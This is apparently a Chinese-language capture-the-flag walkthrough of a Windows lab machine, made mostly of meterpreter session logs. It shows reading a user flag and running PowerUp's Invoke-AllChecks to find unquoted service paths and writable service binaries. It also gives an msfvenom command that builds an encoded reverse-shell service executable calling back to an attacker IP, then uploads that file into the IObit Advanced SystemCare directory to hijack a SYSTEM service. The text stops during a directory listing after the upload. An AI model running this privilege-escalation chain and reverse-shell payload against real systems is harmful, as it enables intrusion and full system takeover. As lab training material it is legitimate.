040777/rwxrwxrwx 0 dir 2019-09-27 14:29:03 +0800 Local Settings
040555/r-xr-xr-x 0 dir 2019-09-27 19:07:07 +0800 Music
040777/rwxrwxrwx 0 dir 2019-09-27 14:29:03 +0800 My Documents
100666/rw-rw-rw- 524288 fil 2020-10-13 03:12:47 +0800 NTUSER.DAT
100666/rw-rw-rw- 1048576 fil 2019-09-28 00:09:04 +0800 NTUSER.DAT{3a3c0ba1-b123-11e3-80ba-a4badb27b52d}.TxR.0.regtrans-ms
100666/rw-rw-rw- 1048576 fil 2019-09-28 00:09:05 +0800 NTUSER.DAT{3a3c0ba1-b123-11e3-80ba-a4badb27b52d}.TxR.1.regtrans-ms
100666/rw-rw-rw- 1048576 fil 2019-09-28 00:09:05 +0800 NTUSER.DAT{3a3c0ba1-b123-11e3-80ba-a4badb27b52d}.TxR.2.regtrans-ms
100666/rw-rw-rw- 65536 fil 2019-09-28 00:09:04 +0800 NTUSER.DAT{3a3c0ba1-b123-11e3-80ba-a4badb27b52d}.TxR.blf
100666/rw-rw-rw- 65536 fil 2019-09-27 14:29:12 +0800 NTUSER.DAT{3a3c0ba2-b123-11e3-80ba-a4badb27b52d}.TM.blf
100666/rw-rw-rw- 524288 fil 2019-09-27 14:29:12 +0800 NTUSER.DAT{3a3c0ba2-b123-11e3-80ba-a4badb27b52d}.TMContainer00000000000000
000001.regtrans-ms
100666/rw-rw-rw- 524288 fil 2019-09-27 14:29:12 +0800 NTUSER.DAT{3a3c0ba2-b123-11e3-80ba-a4badb27b52d}.TMContainer00000000000000
000002.regtrans-ms
040777/rwxrwxrwx 0 dir 2019-09-27 14:29:03 +0800 NetHood
040555/r-xr-xr-x 0 dir 2019-09-27 19:07:07 +0800 Pictures
040777/rwxrwxrwx 0 dir 2019-09-27 14:29:03 +0800 PrintHood
040777/rwxrwxrwx 0 dir 2019-09-27 14:29:03 +0800 Recent
040555/r-xr-xr-x 0 dir 2019-09-27 19:07:07 +0800 Saved Games
040555/r-xr-xr-x 0 dir 2019-09-27 19:07:07 +0800 Searches
040777/rwxrwxrwx 0 dir 2019-09-27 14:29:03 +0800 SendTo
040777/rwxrwxrwx 0 dir 2019-09-27 14:29:03 +0800 Start Menu
040777/rwxrwxrwx 0 dir 2019-09-27 14:29:03 +0800 Templates
040555/r-xr-xr-x 0 dir 2019-09-27 19:07:07 +0800 Videos
100666/rw-rw-rw- 483328 fil 2019-09-27 14:29:03 +0800 ntuser.dat.LOG1
100666/rw-rw-rw- 77824 fil 2019-09-27 14:29:03 +0800 ntuser.dat.LOG2
100666/rw-rw-rw- 20 fil 2019-09-27 14:29:03 +0800 ntuser.ini
meterpreter > cd C:\\Users\\bill\\Desktop
meterpreter > ls
Listing: C:\Users\bill\Desktop
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 282 fil 2019-09-27 19:07:07 +0800 desktop.ini
100666/rw-rw-rw- 70 fil 2019-09-27 20:42:38 +0800 user.txt
meterpreter > cat user.txt
��b04763b6fcf51fcd7c13abc7db4fd365提权我们下载文件https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1并上传到靶机输入powershell_shell 回车然后运行PowerUp.ps1PS > . .\PowerUp.ps1
PS > Invoke-AllChecks
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart : True
Name : AdvancedSystemCareService9
Check : Unquoted Service Paths
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart : True
Name : AdvancedSystemCareService9
Check : Unquoted Service Paths
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=STEELMOUNTAIN\bill;
Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart : True
Name : AdvancedSystemCareService9
Check : Unquoted Service Paths
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe;
IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart : True
Name : AdvancedSystemCareService9
Check : Unquoted Service Paths
ServiceName : AWSLiteAgent
Path : C:\Program Files\Amazon\XenTools\LiteAgent.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AWSLiteAgent' -Path <HijackPath>
CanRestart : False
Name : AWSLiteAgent
Check : Unquoted Service Paths
ServiceName : AWSLiteAgent
Path : C:\Program Files\Amazon\XenTools\LiteAgent.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AWSLiteAgent' -Path <HijackPath>
CanRestart : False
Name : AWSLiteAgent
Check : Unquoted Service Paths
ServiceName : IObitUnSvr
Path : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
CanRestart : False
Name : IObitUnSvr
Check : Unquoted Service Paths
ServiceName : IObitUnSvr
Path : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
CanRestart : False
Name : IObitUnSvr
Check : Unquoted Service Paths
ServiceName : IObitUnSvr
Path : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=STEELMOUNTAIN\bill;
Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
CanRestart : False
Name : IObitUnSvr
Check : Unquoted Service Paths
ServiceName : IObitUnSvr
Path : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe;
IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
CanRestart : False
Name : IObitUnSvr
Check : Unquoted Service Paths
ServiceName : LiveUpdateSvc
Path : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'LiveUpdateSvc' -Path <HijackPath>
CanRestart : False
Name : LiveUpdateSvc
Check : Unquoted Service Paths
ServiceName : LiveUpdateSvc
Path : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'LiveUpdateSvc' -Path <HijackPath>
CanRestart : False
Name : LiveUpdateSvc
Check : Unquoted Service Paths
ServiceName : LiveUpdateSvc
Path : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe;
IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'LiveUpdateSvc' -Path <HijackPath>
CanRestart : False
Name : LiveUpdateSvc
Check : Unquoted Service Paths
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFile : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFilePermissions : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
ModifiableFileIdentityReference : STEELMOUNTAIN\bill
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'AdvancedSystemCareService9'
CanRestart : True
Name : AdvancedSystemCareService9
Check : Modifiable Service Files
ServiceName : IObitUnSvr
Path : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiableFile : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiableFilePermissions : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
ModifiableFileIdentityReference : STEELMOUNTAIN\bill
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'IObitUnSvr'
CanRestart : False
Name : IObitUnSvr
Check : Modifiable Service Files
ServiceName : LiveUpdateSvc
Path : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiableFile : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiableFilePermissions : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
ModifiableFileIdentityReference : STEELMOUNTAIN\bill
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'LiveUpdateSvc'
CanRestart : False
Name : LiveUpdateSvc
Check : Modifiable Service Files我们看到AdvancedSystemCareService9可以进行重启操作ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFile : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFilePermissions : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
ModifiableFileIdentityReference : STEELMOUNTAIN\bill
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'AdvancedSystemCareService9'
CanRestart : True
Name : AdvancedSystemCareService9
Check : Modifiable Service Files
因此,我们可以上传一个可执行的反向shell文件,并替换原本的文件这样就可以拿到root权限操作如下:我们先生成一个文件msfvenom -p windows/shell_reverse_tcp LHOST=10.17.0.91 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe然后访问源文件地址meterpreter > cd Program\ Files\ (x86)
meterpreter > ls
Listing: C:\Program Files (x86)
===============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2019-09-26 23:17:46 +0800 Common Files
040777/rwxrwxrwx 0 dir 2019-09-26 23:17:48 +0800 IObit
040777/rwxrwxrwx 4096 dir 2014-03-22 03:08:30 +0800 Internet Explorer
040777/rwxrwxrwx 0 dir 2013-08-22 23:39:30 +0800 Microsoft.NET
040777/rwxrwxrwx 0 dir 2019-09-30 08:46:20 +0800 Uninstall Information
040777/rwxrwxrwx 0 dir 2013-08-22 23:39:33 +0800 Windows Mail
040777/rwxrwxrwx 0 dir 2013-08-22 23:39:30 +0800 Windows NT
040777/rwxrwxrwx 0 dir 2013-08-22 23:39:30 +0800 WindowsPowerShell
100666/rw-rw-rw- 174 fil 2013-08-22 23:37:57 +0800 desktop.ini
meterpreter > cd IObit
meterpreter > ls
Listing: C:\Program Files (x86)\IObit
=====================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 32768 dir 2022-10-26 14:03:29 +0800 Advanced SystemCare
040777/rwxrwxrwx 16384 dir 2019-09-27 13:35:24 +0800 IObit Uninstaller
040777/rwxrwxrwx 4096 dir 2019-09-26 23:18:50 +0800 LiveUpdate
meterpreter > cd Program\ Files\ (x86)
meterpreter > ls
Listing: C:\Program Files (x86)
===============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2019-09-26 23:17:46 +0800 Common Files
040777/rwxrwxrwx 0 dir 2019-09-26 23:17:48 +0800 IObit
040777/rwxrwxrwx 4096 dir 2014-03-22 03:08:30 +0800 Internet Explorer
040777/rwxrwxrwx 0 dir 2013-08-22 23:39:30 +0800 Microsoft.NET
040777/rwxrwxrwx 0 dir 2019-09-30 08:46:20 +0800 Uninstall Information
040777/rwxrwxrwx 0 dir 2013-08-22 23:39:33 +0800 Windows Mail
040777/rwxrwxrwx 0 dir 2013-08-22 23:39:30 +0800 Windows NT
040777/rwxrwxrwx 0 dir 2013-08-22 23:39:30 +0800 WindowsPowerShell
100666/rw-rw-rw- 174 fil 2013-08-22 23:37:57 +0800 desktop.ini
meterpreter > cd Advanced\ SystemCare
meterpreter > ls
Listing: C:\Program Files (x86)\IObit\Advanced SystemCare
=========================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 5091616 fil 2016-08-17 02:03:56 +0800 ASC.exe
100777/rwxrwxrwx 691488 fil 2015-12-29 04:48:34 +0800 ASCDownload.exe
100666/rw-rw-rw- 166176 fil 2015-12-29 04:47:32 +0800 ASCExtMenu.dll
100666/rw-rw-rw- 187680 fil 2015-12-29 04:47:30 +0800 ASCExtMenu_64.dll
100777/rwxrwxrwx 574240 fil 2016-03-04 08:16:34 +0800 ASCInit.exe
100666/rw-rw-rw- 743 fil 2019-09-26 23:17:50 +0800 ASCInit.log
100777/rwxrwxrwx 452384 fil 2016-07-26 01:01:08 +0800 ASCService.exe
100666/rw-rw-rw- 104270 fil 2022-10-26 15:12:56 +0800 ASCService.log
040777/rwxrwxrwx 0 dir 2019-09-26 23:17:49 +0800 ASCServiceLog
100777/rwxrwxrwx 2023712 fil 2016-07-28 02:24:22 +0800 ASCTray.exe
100777/rwxrwxrwx 555808 fil 2015-12-29 05:06:42 +0800 ASCUpgrade.exe
100777/rwxrwxrwx 2400528 fil 2019-09-26 23:18:22 +0800 ASCVER.exe
100777/rwxrwxrwx 599328 fil 2015-12-29 04:48:46 +0800 AUpdate.exe
100666/rw-rw-rw- 64800 fil 2015-12-29 04:48:24 +0800 About.dll
100777/rwxrwxrwx 310560 fil 2016-07-28 02:24:20 +0800 About.exe
100666/rw-rw-rw- 21506 fil 2019-09-26 23:18:14 +0800 ActionCenter2.log
100777/rwxrwxrwx 2254624 fil 2016-01-08 09:13:48 +0800 ActionCenterDownloader.exe
100777/rwxrwxrwx 1917728 fil 2016-04-30 02:12:38 +0800 AutoCare.exe
100777/rwxrwxrwx 191264 fil 2015-12-29 04:52:24 +0800 AutoReactivator.exe
100777/rwxrwxrwx 1194784 fil 2016-04-30 02:12:40 +0800 AutoSweep.exe
100777/rwxrwxrwx 1403680 fil 2016-07-21 00:15:38 +0800 AutoUpdate.exe
100666/rw-rw-rw- 18536 fil 2019-09-27 16:32:33 +0800 AutoUpdate.log
040777/rwxrwxrwx 0 dir 2019-09-26 23:17:46 +0800 Backup
100777/rwxrwxrwx 1063200 fil 2016-03-08 02:14:22 +0800 BrowserCleaner.exe
100666/rw-rw-rw- 131872 fil 2016-07-21 00:15:42 +0800 CPUIDInterface.dll
040777/rwxrwxrwx 0 dir 2019-09-26 23:17:42 +0800 Config
100777/rwxrwxrwx 451872 fil 2015-12-29 04:49:22 +0800 DNSProtect.exe
100777/rwxrwxrwx 513528 fil 2016-04-13 04:10:24 +0800 Dashlane_Launcher.exe
040777/rwxrwxrwx 8192 dir 2019-09-26 23:17:51 +0800 Database
100777/rwxrwxrwx 2172704 fil 2016-05-07 00:50:26 +0800 DefaultProgram.exe
100666/rw-rw-rw- 11220 fil 2016-02-23 02:18:02 +0800 DetectionEx.ini
100777/rwxrwxrwx 438560 fil 2016-01-12 04:30:04 +0800 DiskDefrag.exe
100666/rw-rw-rw- 607520 fil 2015-12-29 04:49:12 +0800 DiskMap.dll
100666/rw-rw-rw- 127776 fil 2016-07-21 00:15:44 +0800 DiskScan.dll
100777/rwxrwxrwx 72992 fil 2015-12-29 04:49:16 +0800 DiskScan.exe
100777/rwxrwxrwx 110368 fil 2016-01-12 09:54:36 +0800 Display.exe
100666/rw-rw-rw- 586 fil 2022-10-26 14:03:06 +0800 Display_log.txt
100666/rw-rw-rw- 14716 fil 2013-07-20 09:31:32 +0800 DownloadApplication.xml
100666/rw-rw-rw- 81539 fil 2016-01-08 05:10:46 +0800 EULA.rtf
100777/rwxrwxrwx 1221408 fil 2016-07-21 00:15:46 +0800 FeedBack.exe
100666/rw-rw-rw- 454432 fil 2015-12-29 05:06:54 +0800 FfSweep.dll
100777/rwxrwxrwx 4939536 fil 2019-09-26 23:18:20 +0800 FreeBigupgrade1211.exe
100777/rwxrwxrwx 1019680 fil 2015-12-29 05:10:30 +0800 Homepage.exe
100666/rw-rw-rw- 750880 fil 2016-01-21 09:23:28 +0800 HomepageSvc.dll
100666/rw-rw-rw- 387360 fil 2016-03-04 04:21:28 +0800 ICONPIN32.dll
100777/rwxrwxrwx 380192 fil 2016-03-04 04:21:30 +0800 ICONPIN32.exe
100666/rw-rw-rw- 614176 fil 2016-03-04 04:21:34 +0800 ICONPIN64.dll
100777/rwxrwxrwx 582944 fil 2016-03-04 04:21:36 +0800 ICONPIN64.exe
100777/rwxrwxrwx 9474336 fil 2016-07-09 05:42:24 +0800 IObitUninstaller.exe
100666/rw-rw-rw- 899872 fil 2016-07-21 00:15:50 +0800 InfoHelp.dll
100777/rwxrwxrwx 21280 fil 2016-03-10 07:56:44 +0800 Iobit_RefreshTaskBar.exe
100666/rw-rw-rw- 15 fil 2014-07-23 05:15:36 +0800 Lang.dat
040777/rwxrwxrwx 8192 dir 2019-09-26 23:17:42 +0800 Language
040777/rwxrwxrwx 4096 dir 2019-09-26 23:18:19 +0800 LatestNews
040777/rwxrwxrwx 4096 dir 2019-09-26 23:17:45 +0800 LinkImages
100777/rwxrwxrwx 2960672 fil 2016-07-21 00:15:54 +0800 LiveUpdate.exe
100666/rw-rw-rw- 768 fil 2019-09-26 23:17:49 +0800 LiveUpdate.log
100777/rwxrwxrwx 667424 fil 2015-12-29 04:49:32 +0800 LocalLang.exe
100777/rwxrwxrwx 1530656 fil 2016-07-21 00:15:56 +0800 Monitor.exe
100777/rwxrwxrwx 533792 fil 2015-12-29 04:49:38 +0800 MonitorDisk.exe
100777/rwxrwxrwx 2111776 fil 2016-04-30 02:12:52 +0800 MyWin10.exe
100777/rwxrwxrwx 569632 fil 2016-07-23 01:20:00 +0800 Nfeatures.exe
100777/rwxrwxrwx 116000 fil 2015-12-29 04:49:40 +0800 NoteIcon.exe
100666/rw-rw-rw- 48416 fil 2015-12-29 04:49:44 +0800 NtfsData.dll
100666/rw-rw-rw- 784160 fil 2016-07-21 00:16:04 +0800 OFCommon.dll
100777/rwxrwxrwx 918816 fil 2016-07-21 00:16:06 +0800 PPUninstaller.exe
100666/rw-rw-rw- 70432 fil 2015-12-29 04:49:52 +0800 PowerConfig.dll
100666/rw-rw-rw- 629536 fil 2015-12-29 04:49:58 +0800 ProductStatistics.dll
100777/rwxrwxrwx 1044256 fil 2016-07-28 02:24:26 +0800 QuickSettings.exe
100777/rwxrwxrwx 152352 fil 2015-12-29 04:50:18 +0800 ReProcess.exe
100777/rwxrwxrwx 719648 fil 2015-12-29 04:50:02 +0800 RealTimeProtector.exe
100777/rwxrwxrwx 2052896 fil 2016-05-10 04:22:08 +0800 Register.exe
100777/rwxrwxrwx 1094944 fil 2016-07-28 02:24:28 +0800 Reinforce.exe
100666/rw-rw-rw- 1406 fil 2019-09-26 23:18:14 +0800 Reinforce.log
100777/rwxrwxrwx 490272 fil 2016-01-05 05:44:00 +0800 Report.exe
100777/rwxrwxrwx 1723680 fil 2016-07-21 09:07:08 +0800 RescueCenter.exe
100777/rwxrwxrwx 1326504 fil 2015-12-26 03:55:20 +0800 SPInit.exe
100777/rwxrwxrwx 8383688 fil 2016-07-29 01:07:04 +0800 SPSetup.exe
100666/rw-rw-rw- 783136 fil 2015-12-29 04:45:54 +0800 SPUrlScanner.dll
100666/rw-rw-rw- 1293088 fil 2015-12-29 04:50:24 +0800 Scan.dll
100777/rwxrwxrwx 802592 fil 2016-04-27 05:00:24 +0800 ScreenShot.exe
100666/rw-rw-rw- 1024000 fil 2022-10-26 14:03:29 +0800 SecurityHoleScan.log
100777/rwxrwxrwx 1887520 fil 2016-07-21 00:16:18 +0800 SendBugReportNew.exe
100777/rwxrwxrwx 1720096 fil 2016-01-12 04:30:12 +0800 SoftUpdateTip.exe
100666/rw-rw-rw- 202 fil 2019-09-26 23:18:13 +0800 SpeedUp.log
100777/rwxrwxrwx 897824 fil 2015-12-29 04:50:46 +0800 StartupInfo.exe
100777/rwxrwxrwx 2630944 fil 2016-07-28 02:26:32 +0800 Suc11_RegistryCleaner.exe
100777/rwxrwxrwx 1179936 fil 2016-07-21 00:30:20 +0800 Suc12_DiskCleaner.exe
100777/rwxrwxrwx 561440 fil 2016-01-06 09:47:42 +0800 Suo10_SmartRAM.exe
100777/rwxrwxrwx 1767712 fil 2016-07-21 00:30:26 +0800 Suo11_InternetBooster.exe
100777/rwxrwxrwx 4190496 fil 2016-07-21 00:30:28 +0800 Suo12_StartupManager.exe
100777/rwxrwxrwx 1421088 fil 2016-05-07 00:50:38 +0800 Sur13_WinFix.exe
100666/rw-rw-rw- 82720 fil 2015-12-29 04:50:48 +0800 SysRest.dll
100777/rwxrwxrwx 607520 fil 2015-12-29 04:50:50 +0800 TaskHelper.exe
040777/rwxrwxrwx 8192 dir 2019-09-26 23:17:42 +0800 Toolbox_Language
100777/rwxrwxrwx 3360032 fil 2016-04-23 08:40:54 +0800 UninstallPromote.exe
040777/rwxrwxrwx 4096 dir 2019-09-27 16:32:33 +0800 Update
100666/rw-rw-rw- 8386 fil 2016-07-28 05:09:38 +0800 Update History.txt
100777/rwxrwxrwx 1355552 fil 2016-07-22 05:32:12 +0800 Wizard.exe
100666/rw-rw-rw- 1407264 fil 2015-12-29 04:49:04 +0800 cpuidsdk.dll
100666/rw-rw-rw- 72992 fil 2015-12-29 04:49:06 +0800 datastate.dll
100777/rwxrwxrwx 242464 fil 2015-12-29 04:49:08 +0800 delayLoad.exe
040777/rwxrwxrwx 4096 dir 2019-09-26 23:17:45 +0800 drivers
100666/rw-rw-rw- 5430 fil 2011-02-10 07:46:46 +0800 fav.ico
100666/rw-rw-rw- 190240 fil 2015-12-24 09:32:36 +0800 madbasic_.bpl
100666/rw-rw-rw- 57632 fil 2015-12-24 09:32:38 +0800 maddisAsm_.bpl
100666/rw-rw-rw- 355616 fil 2015-12-24 09:32:40 +0800 madexcept_.bpl
100777/rwxrwxrwx 1436448 fil 2015-12-29 04:50:10 +0800 repair task.exe
100666/rw-rw-rw- 1108256 fil 2015-12-24 09:32:44 +0800 rtl120.bpl
100666/rw-rw-rw- 227104 fil 2015-12-29 04:50:30 +0800 sdcore.dll
100666/rw-rw-rw- 117536 fil 2015-12-29 04:50:32 +0800 sdlib.dll
040777/rwxrwxrwx 0 dir 2019-09-26 23:17:45 +0800 skin
100777/rwxrwxrwx 623904 fil 2016-07-26 01:01:12 +0800 smBootTime.exe
100666/rw-rw-rw- 694192 fil 2015-12-29 04:50:44 +0800 sqlite3.dll
100666/rw-rw-rw- 338720 fil 2015-12-29 04:50:52 +0800 taskmgr.dll
100666/rw-rw-rw- 119304 fil 2019-09-26 23:17:45 +0800 unins000.dat
100777/rwxrwxrwx 1208608 fil 2019-09-26 23:17:36 +0800 unins000.exe
100666/rw-rw-rw- 22701 fil 2019-09-26 23:17:45 +0800 unins000.msg
100666/rw-rw-rw- 2008864 fil 2015-12-24 09:32:46 +0800 vcl120.bpl
100666/rw-rw-rw- 222496 fil 2015-12-24 09:32:48 +0800 vclx120.bpl
100666/rw-rw-rw- 899872 fil 2015-12-29 04:50:58 +0800 webres.dll
100666/rw-rw-rw- 580 fil 2015-10-11 05:33:18 +0800 winid.dat
meterpreter > upload ~/Advanced.exe
[*] uploading : /home/zacarx/Advanced.exe -> Advanced.exe
[*] Uploaded 15.50 KiB of 15.50 KiB (100.0%): /home/zacarx/Advanced.exe -> Advanced.exe
[*] uploaded : /home/zacarx/Advanced.exe -> Advanced.exe
meterpreter > ls
Listing: C:\Program Files (x86)\IObit\Advanced SystemCare
=========================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 5091616 fil 2016-08-17 02:03:56 +0800 ASC.exe
100777/rwxrwxrwx 691488 fil 2015-12-29 04:48:34 +0800 ASCDownload.exe
100666/rw-rw-rw- 166176 fil 2015-12-29 04:47:32 +0800 ASCExtMenu.dll
100666/rw-rw-rw- 187680 fil 2015-12-29 04:47:30 +0800 ASCExtMenu_64.dll
100777/rwxrwxrwx 574240 fil 2016-03-04 08:16:34 +0800 ASCInit.exe
100666/rw-rw-rw- 743 fil 2019-09-26 23:17:50 +0800 ASCInit.log
100777/rwxrwxrwx 452384 fil 2016-07-26 01:01:08 +0800 ASCService.exe
100666/rw-rw-rw- 104270 fil 2022-10-26 15:12:56 +0800 ASCService.log
040777/rwxrwxrwx 0 dir 2019-09-26 23:17:49 +0800 ASCServiceLog
100777/rwxrwxrwx 2023712 fil 2016-07-28 02:24:22 +0800 ASCTray.exe
100777/rwxrwxrwx 555808 fil 2015-12-29 05:06:42 +0800 ASCUpgrade.exe
100777/rwxrwxrwx 2400528 fil 2019-09-26 23:18:22 +0800 ASCVER.exe
100777/rwxrwxrwx 599328 fil 2015-12-29 04:48:46 +0800 AUpdate.exe
100666/rw-rw-rw- 64800 fil 2015-12-29 04:48:24 +0800 About.dll
100777/rwxrwxrwx 310560 fil 2016-07-28 02:24:20 +0800 About.exe
100666/rw-rw-rw- 21506 fil 2019-09-26 23:18:14 +0800 ActionCenter2.log
100777/rwxrwxrwx 2254624 fil 2016-01-08 09:13:48 +0800 ActionCenterDownloader.exe
100777/rwxrwxrwx 15872 fil 2022-10-26 15:16:17 +0800 Advanced.exe
100777/rwxrwxrwx 1917728 fil 2016-04-30 02:12:38 +0800 AutoCare.exe
100777/rwxrwxrwx 191264 fil 2015-12-29 04:52:24 +0800 AutoReactivator.exe
100777/rwxrwxrwx 1194784 fil 2016-04-30 02:12:40 +0800 AutoSweep.exe
100777/rwxrwxrwx 1403680 fil 2016-07-21 00:15:38 +0800 AutoUpdate.exe
100666/rw-rw-rw- 18536 fil 2019-09-27 16:32:33 +0800 AutoUpdate.log
040777/rwxrwxrwx 0 dir 2019-09-26 23:17:46 +0800 Backup
100777/rwxrwxrwx 1063200 fil 2016-03-08 02:14:22 +0800 BrowserCleaner.exe
100666/rw-rw-rw- 131872 fil 2016-07-21 00:15:42 +0800 CPUIDInterface.dll
040777/rwxrwxrwx 0 dir 2019-09-26 23:17:42 +0800 Config
100777/rwxrwxrwx 451872 fil 2015-12-29 04:49:22 +0800 DNSProtect.exe
100777/rwxrwxrwx 513528 fil 2016-04-13 04:10:24 +0800 Dashlane_Launcher.exe
040777/rwxrwxrwx 8192 dir 2019-09-26 23:17:51 +0800 Database
100777/rwxrwxrwx 2172704 fil 2016-05-07 00:50:26 +0800 DefaultProgram.exe
100666/rw-rw-rw- 11220 fil 2016-02-23 02:18:02 +0800 DetectionEx.ini
100777/rwxrwxrwx 438560 fil 2016-01-12 04:30:04 +0800 DiskDefrag.exe
100666/rw-rw-rw- 607520 fil 2015-12-29 04:49:12 +0800 DiskMap.dll
100666/rw-rw-rw- 127776 fil 2016-07-21 00:15:44 +0800 DiskScan.dll
100777/rwxrwxrwx 72992 fil 2015-12-29 04:49:16 +0800 DiskScan.exe
100777/rwxrwxrwx 110368 fil 2016-01-12 09:54:36 +0800 Display.exe
100666/rw-rw-rw- 586 fil 2022-10-26 14:03:06 +0800 Display_log.txt
100666/rw-rw-rw- 14716 fil 2013-07-20 09:31:32 +0800 DownloadApplication.xml
100666/rw-rw-rw- 81539 fil 2016-01-08 05:10:46 +0800 EULA.rtf
100777/rwxrwxrwx 1221408 fil 2016-07-21 00:15:46 +0800 FeedBack.exe
100666/rw-rw-rw- 454432 fil 2015-12-29 05:06:54 +0800 FfSweep.dll
100777/rwxrwxrwx 4939536 fil 2019-09-26 23:18:20 +0800 FreeBigupgrade1211.exe
100777/rwxrwxrwx 1019680 fil 2015-12-29 05:10:30 +0800 Homepage.exe
100666/rw-rw-rw- 750880 fil 2016-01-21 09:23:28 +0800 HomepageSvc.dll
100666/rw-rw-rw- 387360 fil 2016-03-04 04:21:28 +0800 ICONPIN32.dll
100777/rwxrwxrwx 380192 fil 2016-03-04 04:21:30 +0800 ICONPIN32.exe
100666/rw-rw-rw- 614176 fil 2016-03-04 04:21:34 +0800 ICONPIN64.dll
100777/rwxrwxrwx 582944 fil 2016-03-04 04:21:36 +0800 ICONPIN64.exe
100777/rwxrwxrwx 9474336 fil 2016-07-09 05:42:24 +0800 IObitUninstaller.exe
100666/rw-rw-rw- 899872 fil 2016-07-21 00:15:50 +0800 InfoHelp.dll
100777/rwxrwxrwx 21280 fil 2016-03-10 07:56:44 +0800 Iobit_RefreshTaskBar.exe
100666/rw-rw-rw- 15 fil 2014-07-23 05:15:36 +0800 Lang.dat
